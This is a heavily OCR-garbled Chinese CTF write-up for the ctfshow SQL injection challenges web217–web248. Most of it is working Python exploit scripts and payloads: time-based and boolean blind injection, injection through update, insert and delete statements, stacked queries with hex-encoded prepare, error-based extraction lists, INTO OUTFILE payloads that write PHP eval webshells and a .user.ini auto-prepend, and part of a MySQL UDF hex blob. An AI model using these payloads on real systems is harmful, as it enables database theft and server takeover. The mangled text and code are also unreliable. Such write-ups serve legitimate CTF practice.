ble_schema=database()),{},1))<{},sleep(1),0)#".format(i,mid),#ctfshow_flagxcc,ctfshow_info
#'ip': "1)or if (ascii(substr((select group_concat(column_name) from information_schema.columns wher
e table name='ctfshow_flagxcc'),{},1))<{},sleep(1),0)#".format(i, mid), # id,flagaac,info

#'ip': "1)or if (ascii(substr((select flagaac from ctfshow_flagxcc),{},1))<{},sleep(1),0)#".format(i
, mid), # ctfshow{b0c287b8-a8d3-4el1l0-b4e2-9922ff13f12c}
'debug’':0

¥

#print(data)

try:
r=requests.post(url=url,data=data,timeout=1)
m=mid

except:
n=mid

if(m+l==n):
flag+=chr(m)
print(flag)
break

web217(i 8] § 1 -benchmark)
T8 T sleep

7] LAl benchmarkft.#& {Hbenchmark 2% if i 2 X K, BT LK L& 4 T feng T8 10 B 2% {7 time.sleep B U 4515 R — IR ZEIR0.2
», REEHE, BSRE - NFRERBEER12M, DRaRESSHFE, XfEGLERZAIRE— MR E, BRBERILE
18, [HREMEHETLARZE100%, RET 523K 55 55 F R KR .

EXP



H#@Auth: Sentiment
import requests
import time
url="http://f563ebb3-cced-467b-b970-59f54fb5c9a0.challenge.ctf.show/api/index.php"
flag=""
for i in range(590):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'ip':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schem
a=database()),{},1))<{},benchmark(1000000,md5(1)),0)".format(i,mid), 'debug':"0" #ctfshow_flagxccb,ctfshow_info
#'ip':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_ name
="'ctfshow_flagxccb'),{},1))<{},benchmark(1000000,md5(1)),0)".format(i,mid), 'debug':"0" #id,flagaabc,info
"ip':"if(ascii(substr((select flagaabc from ctfshow_flagxccb),{},1))<{},benchmark(1000000,md5(1)),0)".f0
rmat(i,mid), 'debug':"@" #ctfshow{d@ec2f99-1463-480a-b2d0-f5bb3d464411}
¥
#print(data)
try:
r = requests.post(url=url,data=data,timeout=0.5)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break
time.sleep(0.2)
time.sleep(1)

web218(rlikei: A\ )

i JEsleep. benchmark

Al 2% H e 7 SQLIE AT BB HE 4 - 6404t X (aliyun.com)
rpad()

RPAD (e ok — M rF s A — MR e 8 — R K.

SELECT RPAD("SQL Tutorial®, 20, "ABC");

//SQL TutorialABCABCAB FH“ABC”HHIEFTF/FH, MKE AN20:

rlikeFbenchmark ¥ 822 Z 47 £ 1), rlike £ 3 B2 il i rpad (K 7 FFE 78 2R KB B 7R idriike Biregexpift 47 1E U VL Ac , SQLTE T
HA ST 4 — B ZE, T 58 R EE I 1 W

X B HrlikeBiregexp X & it 8 4 7


https://xz.aliyun.com/t/5505

H#@Auth: Sentiment
import requests
import time as t
url="http://1f9f1f2c-622c-49cb-ac6f-83440455ale5.challenge.ctf.show/api/index.php’
time="concat(rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad
(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rp
ad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a'),rpad(1,999999, 'a')) rlike '(a.*)+(a.*)
+b' "
flag=""
for i in range(590):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'ip':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schem
a=database()),{},1))<{},{},90)".format(i,mid, time), 'debug':"0" # ctfshow_flagxc,ctfshow_info
#'ip':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table name
="'ctfshow_flagxc'),{},1))<{},{},0)".format(i,mid,time), 'debug':"0" #id,flagaac,info
'ip':"if(ascii(substr((select flagaac from ctfshow_flagxc),{},1))<{},{},0)".format(i,mid,time), 'debug":"
0" #ctfshow{4782f3eb-3533-4efa-89c7-d83f0d2b1e08}
}
#print(data)
try:
r = requests.post(url=url,data=data,timeout=0.5)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break
t.sleep(0.2)
t.sleep(1)

web219(H# R /REHENAN)
i JEsleep. benchmark. rlike
HRI/RH

ENEETHRENTRTHBRNES, Hl: AB=AFBHFEANTRMAGTARNES

T yErlike mT L FregexpfRE, regexp R R EIE LB T expHrlike#e iregexpBPA], X B A R/RMEHE



H#@Auth: Sentiment
import requests
import time as t
url="http://7a3e420c-16f5-43e2-b2ff-86b291d6db0O1.challenge.ctf.show/api/index.php"
flag=""
for i in range(1,50):

m=32

n=127

while 1:

mid=(m+n)//2

data={

#'ip':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schem
a=database()),{},1))<{}, (SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0)".fq
rmat(i,mid), 'debug':"@" # ctfshow_flagxca,ctfshow_info

#'ip':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name
='ctfshow_flagxca'),{},1))<{}, (SELECT count(*) FROM information_schema.columns A, information_schema.columns B),
@)".format(i,mid), 'debug':"0" # id,flagaabc,info

'ip':"if(ascii(substr((select flagaabc from ctfshow flagxca),{},1))<{}, (SELECT count(*) FROM information

schema.columns A, information_schema.columns B),0)".format(i,mid), 'debug':"0" #ctfshow{95dad@69-1b17-4b42-86e0-
4el5d5a546ab}

}

print(data)

try:

r = requests.post(url=url,data=data,timeout=0.15)
m=mid

except:

n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break
t.sleep(0.2)
t.sleep(1)

R ETWAES BT E 2R/, B X Btimeout A % & 70.15
web220
iR B2

/RS T

function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);

it € asciifsubstri] LA likef & FEHI i payload HIRHESE A limit FREIE W E&E, MTSE concat HIFR % 78 b BlexpEati Fi&k
— FEpAr




H#@Auth: Sentiment
import requests
import time as t
url="http://b25594e9-ab57-43ce-a255-7b87f771b72a.challenge.ctf.show/api/index.php"
flag="ctfshow{"
for i in range(1,50):
for j in 'abcdefghijklmnopgrstuvwxyz1234567890- {}':
data={
#'ip':"if((select table _name from information_schema.tables where table schema=database() limit ©,1) lik
e '{}',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag + j + "
%" ), 'debug':"@" # ctfshow_flagxcac
#'ip':"if((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit
1,1) like '{}', (SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)".format(flag
"%"), 'debug':"0" # flagaabcc
'ip':"if((select flagaabcc from ctfshow_flagxcac) like '{}', (SELECT count(*) FROM information_schema.col
, information_schema.columns B),1)".format(flag + j + "%"), 'debug':"0@" #ctfshow{e97ffaa2-9de8-4b3d-a623-1a
GEET I RN
¥
print(data)
try:
r = requests.post(url=url,data=data,timeout=0.15)

except:
flag+=j
print(flag)
break
t.sleep(0.3)

M TRrflagsh HAhHm E, R4, 54 KMEAA R Lhetfshow{(FF Sk i1, Bt AFE R IX L $ 48 i 5 Z B R Bflag I E & LL BRI Ui —

ANyA T8 le fas W 4] i ) B A

Author:Y4tacker
import requests
url = "http://36c60781-7da4-45f9-b863-59f914dffa84.chall.ctf.show/api/"

strr = " _1234567890{ }-qazwsxedcrfvtgbyhnujmikolp"
# payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
# payload = "select column_name from information_schema.columns where table_ name='ctfshow_flagxcac' limit 1,1"
payload = "select flagaabcc from ctfshow_flagxcac"
j =1
res = ""
while 1:
for i in strr:
res += i
data = {

"ip': £"1) or if(left(({payload}),{j})="{res}',(SELECT count(*) FROM information_schema.tables A, in
formation_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.sc
hemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I),1",

'debug': '1°

}
# print(i)
try:

r = requests.post(url, data=data, timeout=3)

res = res[:-1]
except Exception as e:

print(res)

j+=1




HHIEE

$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

& F5.0.0<Mysql<5.6.6

7 selectilimit/& 1 7] PAER procedure linto >R,

B Hinto F) 5 SCAH 75 22 7 A T8 4 o B A% LA B A\ shell BB -

X BRATEEF Hprocedure .

procedure 5 [ 7] LAFR S 4 analyse XX RN S8, X B #REETE N\ A8 B HUIE FE 2 AR

payload:

?page=1&1limit=1 procedure analyse(extractvalue(null,concat(@x7e, (database()),0x7e)),1)

group byrJ A T i [8] 5 v, 24 F

select * from users group by 1,if(1=1,sleep(0.5),1);

Hifl R — 1T I #R R E T sleep, T A 54T £d it LA T B R L15*0.580=2.58 7 1 A A [4]

admin admin
0

Brown zordonb

0

1:

0
pablo
0
smithy

0

% 2 #15 A) 5 usernamei AT Bt H i payload



select * from ctfshow user group by $username;
$username=1,if(1=1,sleep(0.5),1);

S
select * from ctfshow user group by 1,if(1=1,sleep(0.5),1);

EXP

H@Auth: Sentiment
import requests
url="http://d34394c6-f3e8-4129-b44a-37a8d7b99f4d.challenge.ctf.show/api/index.php?u="
flag=""
for i in range(590):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="1,if(ascii(substr((select database()),{},1))<{},sleep(0.05),1);".format(i,mid)#ctfshow_web
#payload="1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table
schema="ctfshow_web'),{},1))<{},sleep(0.05),1);".format(i,mid)#ctfshow_flaga,ctfshow_user
#payload="1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where tabl
e_name='ctfshow flaga'),{},1))<{},sleep(0.05),1);".format(i,mid)#id,flagaabc,info
payload="1,if(ascii(substr((select flagaabc from ctfshow_flaga),{},1))<{},sleep(0.05),1);".format(i,mid)
Hctfshow{0d226382-652e-4bb0-b33a-d35036ccc50a
#print(url+payload)
try:
r=requests.get(url=url+payload,timeout=0.4)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)

break;

web223(group byi: A i 38 # F)

i S =T DL true BEAT P
=

$sql = select * from ctfshow_user group by $username;
//TODO: R % &, ANHELIE

/ /R AR R T

&5 2u=usernamelt [B] & &5 userAUTO, (B & F HAth 1B I 2 3 1 AT DU X — Sk T B i

EXP



H#@Auth: Sentiment
import requests

return num
else:
for i in range(n-1):
num+="+true"
return num
url="http://e06740c1-28de-45fd-86f1-22c6a412e63e.challenge.ctf.show/api/index.php"’
flag=""
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
#payload="if(ascii(substr((select database()),{},{}))<{},username, 'a')".format(Num(i),Num(1),Num(mid))#c
tfshow_web
#payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_sc
hema="'ctfshow _web"'),{},{}))<{},username,'a");".format(Num(i),Num(1),Num(mid) )#ctfshow_flagas,ctfshow_user
#payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where tabl
e_name='ctfshow_flagas'),{},{}))<{},username, 'a");".format(Num(i), Num(1l), Num(mid))#id,flagasabc,info
payload = "if(ascii(substr((select flagasabc from ctfshow_flagas),{},{}))<{},username,'a");".format(Num(
i), Num(1l), Num(mid))#ctfshow{6802deb9-4bd5-47e3-9cOf-e12712dd1c14}
params = {

u': payload
= requests.get(url=url, params=params)
#print(r.text)
if "userAUTO" not in r.text:
m=mid
else:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break

web224
ANy 1 ng I8 fiwp
CTFshow 36D Web Writeup — #i &L’ Amore (gem-love.com)

iy S

ITE T —A o, ATULEEA, b EERT AR . phpE #getshell

# LA ctishowit A 4 payload.bin3 {4 (HAMA ZHE KB, TRBEEZ REF T — MR AL Th HI L IC64File RN T 52
R SRAL A I, IRV 7N 2t i

C64Filel');select Ox3C3F3D60245F504F53545B305D603B into outfile '/var/www/html/1.php';--+"

4% f5 H#getshell



https://www.gem-love.com/ctf/2283.html#%25E4%25BD%25A0%25E6%25B2%25A1%25E8%25A7%2581%25E8%25BF%2587%25E7%259A%2584%25E6%25B3%25A8%25E5%2585%25A5

ctfshow{5fd8c41c-3ec6-4ce4-8111-1d5092743ddb}

e O=ss Desa ODEstsE NEs (Oeegss O O B e w cESsHis

Encryption ~ Encoding~ SQL~ XSS~ LFI~ XXE~ Other ~

& Load URL http://931b8e44-fa2b-43c7-8c8c-fe14d1b43817.challenge.ctf.show/1.php
'&L Split URL
» Execute .
Postdata [] Referer [] User Agent [] Cookies Clear All
ADD "
O=cat /flag
web225

Al LAE S E R 20191 B EVE

(24474 B.) B it F-Web s F 3B X -supersqli (38 M A ) BEEVE)_feng 18 % -CSDN#E %
SR — T B EA)

SET @tn = 'tablename'; //fifE&4%

SET @sql = concat('select * from ', @tn); //FESQLIEH)

PREPARE name from @sql; //TiE XSQLEA]
EXECUTE name; //#ATTilE X SQLIEH]

(DEALLOCATE || DROP) PREPARE sqla; //MIERTiE XSQLiEA]

5 :

char(115,101,108,101,99,116)=select

1';SET @sqli=concat(char(115,101,108,101,99,116),"'* from @tn');PREPARE Sentiment from @sqli;EXECUTE Sentiment;#

% P AF i payload:


https://blog.csdn.net/rfrder/article/details/108583338

7¥E— ffifrenameflalter
1';rename tables “words® to “wordsl ;rename tables ~1919810931114514° to “words ; alter table “words® change "fl
“id® varchar(100);#
%= fffhandler

0';handler ~1919810931114514° open;handler "1919810931114514° read first;#
A= A AL EE )
';set @sgl=concat('sele','ct "flag  from 1919810931114514  ');PREPARE stmtl from @sql;EXECUTE stmtl;#

AR T U T alertBr AT — BB T, A 4N E T set FR A5 E =M A 8 XA R T 7T N E 5 745 5
payload:

1';handler "~ctfshow_flagasa  open;handler ctfshow_flagasa™ read first;
1';prepare Sentiment from concat(char(115,101,108,101,99,116),"'* from ctfshow_flagasa');execute Sentiment;

web226
I T (TR Nt bl el 163 B, 16BERI BB CARF /T8, AL 163K F# | F£4 T A (sojson.com)
payload:

1';prepare Sentiment from 0x73656c6563742067726175705163616€636174287461626c65516€616d65296672616d20696e6661726d
617469616e51736368656d612e7461626c6573207768657265207461626c6551736368656d613d64617461626173652829;execute Senti
ment; //ctfsh_ow_flagas,ctfshow_user

e

1';prepare Sentiment from 0x73656c6563742067726175705163616€6361742863616Cc756d6e516€616d65296672616d20696€666172]
6d617469616e51736368656d612e63616c756d6e73207768657265207461626c65516e616d653d2763746673685F61775f666c6167617327
;execute Sentiment; //flagasb

A

1';prepare Sentiment from 0x73656c656374202a206672616d206374667368516F7751666c61676173;execute Sentiment;

web227(mysql %3 F2))
F b payload V344 RE4% H £ B TR anl #R RS HiflagR
Bt PAIX B gt B B T mysqlfF fig R

TEMyS QL H 77t i F2 0 R B 15 B AZ 4 TE information_schema $0#E B T i Routines &, W] LU & #iZRIIC R E WA
HREMRHEWER, HERKIEERRDT:

SELECT * FROM information_schema.Routines
payload:
BEFHEE

Pusername=1";prepare Sentiment from 0x73656c656374202a206672616d20696e6661726d617469616e51736368656d612e72617574
696e6573;execute Sentiment;

i fHgetFlag()
Pusername=1"';call getFlag();#

web228-230
226

Updatei: A
web231(Updatei: \)


https://www.sojson.com/hexadecimal.html

HifER

$sql = "update ctfshow user set pass = '{$password}' where username = '{$username}';";

A LA F & password, 78 2 —ANE S AT where &4 25 )15 4), 3184 /5 14 where & # (7 i/api/ postis 5

username,password)

{"code":0,"msg":"\u66f4\u65b0\u6210\u529f","count":1,"data":[1}

O O==ss Oesas DiEs NRs (ImEs O Onsr B w oEsmE 8 uaes @ Ha

Encryption + Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

@ Load URL http://42fe4dfd-d287-4193-a27b-6143238ffa08.challenge.ctf.show/api/
{,L Split URL

» | Execute

Postdata [] Referer [] User Agent [] Cookies Clear All
ADD "™

password=1',username=(select group_concat(table_name) from information_schema.tables where
table_schema=database()) where 1=1#&username=1

t£2 JG update 7 1H F fflusername, pasworditZe i T BATERIZ K #2

ID BFR& a1 S
1 banlist,ctfshow_user,flaga 1
2 banlist,ctfshow_user,flaga 1
3 banlist,ctfshow_user,flaga 1
4 banlist,ctfshow_user,flaga 1

5 banlist,ctfshow_user,flaga 1



payload:

R

password=1",username=(select group concat(table name) from information_schema.tables where table schema=database

()) where 1=1#&username=1

1R 51 4

password=1",username=(select group concat(column_name) from information_schema.columns where table name='flaga')
where 1=1#&username=1

BB

password=1",username=(select flagas from flaga) where 1=1#&username=1

BITEATHFERR G NITXER, BN 78 T RREARE, Sl payloadE T DS Ef#

password=",username=(select a from (select group_concat(flagas)a from flaga) y4dtacker) where 1=1;#&username=1

web232

HHIEH

$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

0T md5 %, E Bipayload, in 4~ A& 84T
web233(k} 8] § 1)
XA B EHE A ER231 I — B B R A FE A4 A B K payload AT BTA R BB BT

payload

password=1&username=1' or if(1=1,sleep(1),0)#

X Hsleep(1)HRER T 4 A BT LLIX B i) sleep M iZ /& — 2% 18 A) AT I [A]

EXP



H#@Auth: Sentiment
import requests
url="http://cale9492-129f-4110-9f6c-9688e00dfabb.challenge.ctf.show/api/"
flag=""
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username':"1"' or if(ascii(substr((select group_concat(table_name)from information_schema.tables where
table schema=database()),{},1))<{},sleep(0.02),1)#".format(i,mid), #banlist,ctfshow_user,flag233333
#'username':"1"' or if(ascii(substr((select group_concat(column_name)from information_schema.columns when
e table name='flag233333'),{},1))<{},sleep(0.02),1)#".format(i,mid), #id,flagass233,info
'username’:"1' or if(ascii(substr((select flagass233 from flag233333),{},1))<{},sleep(0.02),1)#".format(
i,mid), #ctfshow{b633b9e9-ad40-42a7-9e13-88chb9dad755d}
'password’: "1"
¥
#print(data)
try:
r = requests.post(url=url,data=data,timeout=0.35)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break

web234(id #E 5.5] 2)
BB RV BRI IE T 8515, W AR R BTk .

YpasswordfE S\ 2K 85| 55 X, Fb)E L where username =& 4 7745 & AL B X R RATES

username=,username=xxx, B[ 7] 58 ki

$sql = "update ctfshow_user set pass = '\' where username = ',username=xxx"';";

RAAEH AT LA+ it g

EXP



H#@Auth: Sentiment
import requests
url="http://50923658-cbcd-4f6d-b81la-d79693e0056d.challenge.ctf.show/api/"
flag=""
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'username' :",username=if(ascii(substr((select group_concat(table_name)from information_schema.tables wh
ere table_schema=database()),{},1))<{},sleep(0.02),1)#".format(i,mid), #banlist,ctfshow_user,flag23a
#'username' :",username=if(ascii(substr((select group_concat(column_name)from information_schema.columns
where table_name=0x666c6167323361),{},1))<{},sleep(0.02),1)#".format(i,mid), #id,flagass23s3,info

'username’:",username=if(ascii(substr((select flagass23s3 from flag23a),{},1))<{},sleep(0.02),1)#".forma
t(i,mid), #ctfshow{8371d57d-4d02-487f-8871-f0a0591421c7}

‘password': "\\"

¥

#print(data)

try:

r = requests.post(url=url,data=data,timeout=0.35)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break

web235(i 3£ or)
it y€or, B Llinformationst AN B F T
A A Fmysql.innodb_table_statsft# 1B R iR H £ 4

exp



H#@Auth: Sentiment
import requests
url="http://5b226a59-9c00-4c5c-8a4e-b5ecdb9dcd@0.challenge.ctf.show/api/"
flag=""
for i in range(1,100):
m=32
n=127
while 1:
mid=(m+n)//2
data={
'username’:",username=if(ascii(substr((select group_concat(table_name) from mysql.innodb_table_stats whe
re database_name=database()),{},1))<{},sleep(0.02),1)#".format(i,mid), #banlist,ctfshow _user,flag23al
‘password’: "\\"
¥
#print(data)
try:
r = requests.post(url=url,data=data,timeout=0.35)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break

B3R A 5 H AT EN R R

password=\&username=,username=(select "2~ from (select 1,2,3 union select * from ~flag23al” limit 1,1)a)#

web236(idt 38 fi tH flag)
it Eflag ™ L base644mid it F L fiexp i Hi Fflaga, RJEHATIEHI 4 NEBIAT

payload:

password=\&username=,username=(select to _base64( 2 ) from (select 1,2,3 union select * from flaga limit 1,1)a)#

inseriE A
web237(inseri: \)
HiHE

$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";

EREE B —MEN R EL ) A A AT

payload:



HRA

username=1"', (select group concat(table name) from information schema.tables where table schema=database()))#&pas

sword=1

54 -
username=1", (select group concat(column_name) from information_schema.columns where table name='flag'))#&passwon
d=1

REBE
username=1", (select flagass23s3 from flag))#&password=1

web238(:d 38 75 )
EWALT . 5Lt

payload:

BRA

1', (select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#
EIIEA

1', (select(group_concat(column_name))from(information_schema.columns)where(table_name="'flagb')))#
R

1', (select(flag)from(flagb)))#

web239(id = # . or)

i FEorFAmysqglinnodb_table_statsAt& BI AT T M 23E A B 5 B E AN BL AT A2 Y (H A RS ok 98 7% Bt ARSI BV E AN B ABER T,
REgdE 5 R e R B R

1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#
22
1', (select(group_concat( 2 ))from(select(1),2,(3)union(select( * )from(flagbb)))x)# //iTIE*TiEimAN, FLLTiEEH

R R NIF 4 A flag, BEHRE
1', (select(flag)from(flagbb)))#

web240(5d 38 2% 4 or sys mysq]l)
B AT uET, 5E AR I8 T, R BEAR R IR R R A T
Hint:

RN, flaghtsk, EHAIHa/b4RL, Wflagabaab, £/hNE

EXP



import requests
url="http://ec8be957-60f9-4bf6-8cca-fdo28e80599f.challenge.ctf.show/api/insert.php"’
for i in 'ab':
for j in 'ab':
for k in 'ab':
for m in 'ab':
for n in 'ab':
data={
'username’':"1"', (select(flag)from({})))#".format('flag'+i+j+k+m+n),
'password’:'1"’
}

r=requests.post(url=url,data=data)

deletey: A\
web241

sqligf]

$sql = "delete from ctfshow user where id = {$id}";

delete & $UFEFEAT FI W5 = B2 M BRSSO B SR I BT CABAS BE 4 T [B1 2 Y SRR BERAE . B DA BRI IR B
EXP

H#@Auth: Sentiment
import requests
url="http://80bc5222-eeb8-4d94-a68a-57d49415809¢e.challenge.ctf.show/api/delete.php’
flag=""
for i in range(1,50):
m=32
n=127
while 1:
mid=(m+n)//2
data={
#'id':"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schem
a=database()),{},1))<{},sleep(0.05),1)#".format(i,mid) # banlist,ctfshow_user,flag
#'id':"if(ascii(substr((select group_concat(column_name)from information_schema.columns where table name
="'flag'),{},1))<{},sleep(0.05),0)".format(i,mid) #id,flag,info
'id':"if(ascii(substr((select flag from flag),{},1))<{},sleep(0.05),0)".format(i,mid) #ctfshow{24de54e5-
2424-4e33-b6ff-00dada72c909} }
}
print(data)
try:
r = requests.post(url=url,data=data,timeout=1)
m=mid
except:
n=mid
if(m+l==n):
flag+=chr(m)
print(flag)
break

FILEF:A

web242(t% % 5 shell)

sqliEf)




$sql = "select * from ctfshow user into outfile '/var/www/html/dump/{$filename}';";

into outfile 7] LA 5 shell

“OPTION”Z U RIS HUEIN, HAIREMEVESR :

“FIELDS TERMINATED BY 'Ff&FH' : & FBRZERSRERE, ATUCNBEARENFERF. BRIMERC\t.

“FIELDS ENCLOSED BY 'Fff' : WEFMRBEHEFERIE, RENENFER. RIMBR TAERERFSS.

“FIELDS OPTIONALLY ENCLOSED BY 'ZF&F' : WEF/KIELECHAR. VARCHARFITEXTE ERF R F B . BRIMER FAMEREMFS .

“FIELDS ESCAPED BY "Ff&F' : i &2 o BRINMEAN\.

“LINES STARTING BY 'FfFH' : 1 BT 2RE, AILUNBARE N . BRIME T AR ZR/F.

“LINES TERMINATED BY 'ZFfFH' : 1 KRR ZR/R, LURBEAREANERF. BIMER\n”.

A RE LT =ANER AT BA

e FIELDS TERMINATED BY
e LINES STARTING BY
e LINES TERMINATED BY

payload:

filename=1.php' LINES STARTING BY '<?php eval($ _POST[0]);?>'#
flagfEflag.hered
P=system('cat /flag.here');

web243(it #E php)

FEITEA 148 i dump B 3 T Aindex.php, BT LAZ B 7] LA A .user.inigsid

filename=.user.ini' lines starting by ';' terminated by 0xa6175746f5f70726570656e645166696c653d53656e74696d656€7|
42e6a7067#

ini SO CAERE 5 sk, X HA starting by 7 R Z BT E ) H A 2, Fterminated by & Sentiment.jpg

auto_prepend_file=Sentiment.jpg

HIEA —1EZE, Xftauto_prepend fileF[ LA AR —1T, TNaWiER. BEEHE —EZE, XERME T RM—TEES TN
1T G RARHE AR IX

;1 ctfshow ctfshow
auto_prepend_file=Sentiment.jpg
;2 userl 111
auto_prepend_file=Sentiment.jpg
;3 user2 222
auto_prepend_file=Sentiment.jpg
;4 userAUTO passwordAUTO
auto_prepend_file=Sentiment.jpg

i EtESentimentjpg, F NS UE T php, AT LLAEREEE T/ it ged

filename=Sentiment.jpg' lines terminated by ©x3c3f706870206576616c28245f504f53545b305d293b3f3et



A% 5 WS R B v flag7Eflag.here

payload:

filename=.user.ini' lines starting by ';' terminated by ©xa6175746f5f70726570656e645f66696c653d53656e74696d656e7
42e6a7067#

filename=Sentiment.jpg' lines terminated by ©x3c3f706870206576616c28245f504f53545b305d293b3f3ett

WEEN
WEEENTT A

1. floor + rand + group by

select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(®)*2))x from infon
mation_schema.tables group by x)a);

select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by

concat((select table name from information_schema.tables 1limit 1),floor(rand(9)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1l, concat(®x5c, (select table_name from information_schema.tables
limit 1)));

3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(®x3a,(select user())),1));

4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),@),NAME_CONST(version(),0))x;

5. Join

select * from(select * from mysql.user a join mysql.user b)c;

select * from(select * from mysgl.user a join mysql.user b using(Host))c;
select * from(select * from mysgl.user a join mysqgl.user b using(Host,User))c;

6. exp()//mysql5.75LIARE
select * from user where id=1 and Exp(~(select * from (select version())a));

7. geometrycollection()//mysql5. 75l A EE
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));

8. multipoint()//mysql5.73UARE
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));

9. polygon()//mysql5. 75 EE
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));

10. multipolygon()//mysql5. 75 UARE
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));

11. linestring()//mysql5. 75U ARE
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));

12. multilinestring()//mysql5. 73R4 RE
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

web244

sqliEf)




$sql = "select id,username,pass from ctfshow user where id

H¥#sqllabsHIpayload#$ANE 4, RG]

payload:

?id=1"' and extractvalue(null,concat(@x7e, (select database()),0x7e))--+

?id=1" and extractvalue(null,concat(@x7e,(select table name from information_schema.tables where table_ schema="'c
tfshow web' limit 1,1),0x7e))--+

?id=1"' and extractvalue(null,concat(@x7e,(select column_name from information_schema.columns where table name='c
tfshow_flag' limit 1,1),0x7e))--+

?id=1"' and extractvalue(null,concat(@x7e, (select flag from ctfshow_flag limit ©,1),0x7e))--+

xpathfkeE R A 3247, F L HEEEUA — ¥ flag

?id=1"' and extractvalue(null,concat(@x7e, (select right(flag,30) from ctfshow_flag limit ©,1),0x7e))--+

web245(id & updatexml)

L ipayload#u e fE 4, K& RIAT

web246(5d 3 updatexml extractvalue)

AT IE T AT LA M (2656 B) VLR UEAR U HITE A _lixiangminghate ) % 1-CSDNI# % W Z #IFE
payload:

RR
?id=" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=databa
se() limit 1,1),0x7e,floor(rand()*2))a from information_schema.columns group by a--+

union select 1,count(*),concat((select column_name from information_schema.columns where table name='ctfsh
limit 1,1),0x7e,floor(rand()*2))a from information_schema.columns group by a--+

union select 1,count(*),concat((select flag2 from ctfshow_flags ),0x7e,floor(rand()*2))a from information
schema.columns group by a--+

web247(id #€ updatexml extractvalue floor)
it 38 7 floorn] LA H ceil&round X &
ceil2 A L HUE round & PO & FL

payload:

RRA
?1d=%27%20union%20select%201, count(*),concat(@x7e,0x7e, (select%20table name%20from%»20information_schema.tables%2|
Pwhere%20table schema=database()%201imit%201,1),0x7e,ceil(rand()*2))a%20from%20information_schema.columns%20grou
p%20by%20a- -+

e YIIEA
?1d=%27%20union%20select%201, count (*),concat(0x7e,0x7e, (select%20column_name%20from%20information_schema.columns

%20where%20table name='ctfshow flagsa'%201imit%201,1),0x7e,ceil(rand()*2))a%20from%»20information_schema.columns

?1d=%27%20union%20select%201, count (*),concat(0x7e, (select ~flag?  from ctfshow flagsa ),0x7e,ceil(rand()*2))a%20
from%20information_schema.columns%20group%20by%20a- -+

evali: A
web248(evalix \)


https://blog.csdn.net/lixiangminghate/article/details/80466257

JR B AR R mysql "] LAEAISCH S 2 B AaHL 7 plugin B 3%, XN H X2 AT LLEY select @@plugin_dir RG],

X B R (9 A, e B4 B i flag

import requests

base_url="http://c686a8de-b8e6-47cc-9f59-0a1789383f19.challenge.ctf.show/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
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FA74CA4FA42414C5F4F46465345545F5441424CA55F005F5F64736F5F68616E646C65005F5F44544F525FA454E445F5F005F44594E414D49430)
©7379735F736574007379735F65786563005F5F676D6F6ES5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696
E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322]
E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C75646)
65F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E404
